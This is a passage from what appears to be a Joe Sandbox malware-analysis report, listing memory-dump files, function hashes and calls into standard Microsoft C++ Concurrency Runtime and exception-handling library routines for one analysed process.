Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::$Search$Work$Context::$Base::Scheduler$CachePriorityQuick$AcquireCheckItemItem::ListLocal_NextObjectPeriodicRunnablesScanSlot
String ID:
API String ID: 2530155754-0
Opcode ID: 4b847f284c22201c0261fbd908d8e96fbacbc00db43400006076f17604926468
Instruction ID: aeeea83cf04ff9147718d7dade15b93578651efe667482dccd03f00e46a1e3fe
Opcode Fuzzy Hash: 4b847f284c22201c0261fbd908d8e96fbacbc00db43400006076f17604926468
Instruction Fuzzy Hash: E3818E3490024AABDF169F54D9A1BFEBBB3AF45314F044098EC416B392C7368D5ADBE1

Function 00632970 Relevance: 16.7, APIs: 11, Instructions: 222COMMON

Download Yara Rule

APIs

Concurrency::details::WorkSearchContext::PreSearch.LIBCONCRT ref: 00632982

Part of subcall function 006324E1: Concurrency::details::WorkItem::WorkItem.LIBCMT ref: 00632504

Concurrency::details::SchedulerBase::PeriodicScan.LIBCONCRT ref: 006329A3
Concurrency::details::WorkSearchContext::CheckPriorityList.LIBCONCRT ref: 006329B0
Concurrency::details::SchedulerBase::GetNextPriorityObject.LIBCMT ref: 006329FE
Concurrency::details::WorkSearchContext::SearchCacheLocal_Unrealized.LIBCONCRT ref: 00632AA6
Concurrency::details::WorkSearchContext::SearchCacheLocal_Realized.LIBCONCRT ref: 00632AD8

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Search$Work$Context::$Base::CacheLocal_PriorityScheduler$CheckItemItem::ListNextObjectPeriodicRealizedScanUnrealized
String ID:
API String ID: 1256429809-0
Opcode ID: 71b319b7fbfa940c3a57a6f4471aa97a4bdb98ec67e405c86eeacfca920daf3f
Instruction ID: 17a4e64e0d8e489d94e918cc19c0c1a15489c782b5e7be0421f4073e9b9ce0a4
Opcode Fuzzy Hash: 71b319b7fbfa940c3a57a6f4471aa97a4bdb98ec67e405c86eeacfca920daf3f
Instruction Fuzzy Hash: D4716B7090025AABDF15DF54C9A1BFEBBB7AF55308F044098EC426B392C7319D16DBA1

Function 00622832 Relevance: 15.2, APIs: 10, Instructions: 223COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00622876
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006228DF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 00622913

Part of subcall function 006207ED: Concurrency::details::ResourceManager::AffinityRestriction::ApplyAffinityLimits.LIBCMT ref: 0062080D

Concurrency::details::ResourceManager::GetTopologyInformation.LIBCONCRT ref: 00622993
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006229DB

Part of subcall function 006207C2: Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCMT ref: 006207DE

Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 006229EF
Concurrency::details::ResourceManager::ApplyAffinityRestrictions.LIBCONCRT ref: 00622A00
Concurrency::details::ResourceManager::CleanupTopologyInformation.LIBCMT ref: 00622A4D
Concurrency::details::ResourceManager::AffinityRestriction::FindGroupAffinity.LIBCONCRT ref: 00622A7E

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Manager::Resource$Affinity$Apply$Restrictions$InformationTopology$Restriction::$CleanupFindGroupLimits
String ID:
API String ID: 1321587334-0
Opcode ID: 26b02577512f576ba6b73616a75d0bec859f7ca797d1b0e2620a74e2d234a53d
Instruction ID: 1d658e37679af6c5c2fb3ccc32946773274414a6512cc896f5a80a4808e97f4a
Opcode Fuzzy Hash: 26b02577512f576ba6b73616a75d0bec859f7ca797d1b0e2620a74e2d234a53d
Instruction Fuzzy Hash: 7C81BE31A00A27ABCB18DF69E8B15BDB7B3BB48300F24402DD446A7741DB74AD85CF94

Function 006269DA Relevance: 15.1, APIs: 10, Instructions: 144COMMONLIBRARYCODE

Download Yara Rule

APIs

Concurrency::details::_ReaderWriterLock::_AcquireWrite.LIBCONCRT ref: 00626A1F
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00626A51
List.LIBCONCRT ref: 00626A8C
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00626A9D
Concurrency::details::SchedulingRing::FindScheduleGroupSegment.LIBCMT ref: 00626AB9
List.LIBCONCRT ref: 00626AF4
Concurrency::details::SchedulingRing::GetNextScheduleGroupSegment.LIBCMT ref: 00626B05
Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00626B20
List.LIBCONCRT ref: 00626B5B
Concurrency::details::SchedulingNode::GetNextVirtualProcessor.LIBCMT ref: 00626B68

Part of subcall function 00625EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00625EF7
Part of subcall function 00625EDF: Concurrency::details::SchedulingNode::FindVirtualProcessor.LIBCMT ref: 00625F09

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680732706.0000000000895000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680778706.00000000008A2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680817127.00000000008A3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680857371.00000000008A4000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680899220.00000000008A5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680941093.00000000008B2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680989813.00000000008B4000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681033622.00000000008B5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008B6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681081271.00000000008D5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681181345.0000000000901000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681221438.0000000000902000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681260533.0000000000907000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681299754.0000000000909000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681343723.0000000000917000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2681414452.0000000000918000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_600000_skotes.jbxd

Yara matches

Similarity

API ID: Concurrency::details::Scheduling$Find$GroupNode::ProcessorRing::ScheduleSegmentVirtual$ListNext$AcquireConcurrency::details::_Lock::_ReaderWriteWriter
String ID:
API String ID: 3403738998-0
Opcode ID: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction ID: 1faf37a785b9a97aaec46d52a78f606b37c68dc3443d47e2d53611cb8d2c8329
Opcode Fuzzy Hash: 49fcf71f40cdee32d76cff0cfec7904b1821ee1dee631ce0987f33fef910e908
Instruction Fuzzy Hash: 7B515E71A00629ABDB18DF64D495BEDB3A9BF08304F0540ADE955AB382DB70AE44CF90

Function 006352A5 Relevance: 14.3, APIs: 5, Strings: 3, Instructions: 308COMMONLIBRARYCODE

Download Yara Rule

APIs

IsInExceptionSpec.LIBVCRUNTIME ref: 006353A0
type_info::operator==.LIBVCRUNTIME ref: 006353C7
___TypeMatch.LIBVCRUNTIME ref: 006354D3
IsInExceptionSpec.LIBVCRUNTIME ref: 006355AE
CallUnexpected.LIBVCRUNTIME ref: 00635650

Strings

csm, xrefs: 006353FE
csm, xrefs: 0063534D
csm, xrefs: 006352E0

Memory Dump Source

Source File: 00000006.00000002.2669413037.0000000000601000.00000040.00000001.01000000.00000007.sdmp, Offset: 00600000, based on PE: true

Associated: 00000006.00000002.2669287233.0000000000600000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2669413037.0000000000662000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670210745.0000000000669000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2670311548.000000000066B000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671122576.0000000000675000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671260603.0000000000676000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2671422678.0000000000677000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2673832126.00000000007CE000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675069382.00000000007D0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2675756112.00000000007E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676033552.00000000007E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007E8000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676193839.00000000007F1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2676452741.00000000007F5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678076594.00000000007F6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678300580.00000000007F8000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678423948.00000000007FA000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678533782.00000000007FB000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678653730.00000000007FC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678752348.000000000080D000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678839640.000000000080E000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2678990990.0000000000823000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679034371.0000000000824000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679094724.000000000082E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679166742.0000000000839000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679263797.000000000084E000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679345356.0000000000852000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679828183.000000000085B000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2679928203.0000000000860000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680057540.0000000000866000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680203916.0000000000867000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680271854.0000000000868000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680313290.000000000086A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680356713.0000000000875000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680404069.000000000087A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680445817.0000000000881000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680490283.0000000000883000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680528882.0000000000884000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680571195.0000000000886000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680612980.0000000000887000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680650433.000000000088C000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000006.00000002.2680692413.0000000000893000.00000080.00000001.01000000.00000007.sdmpDownload File
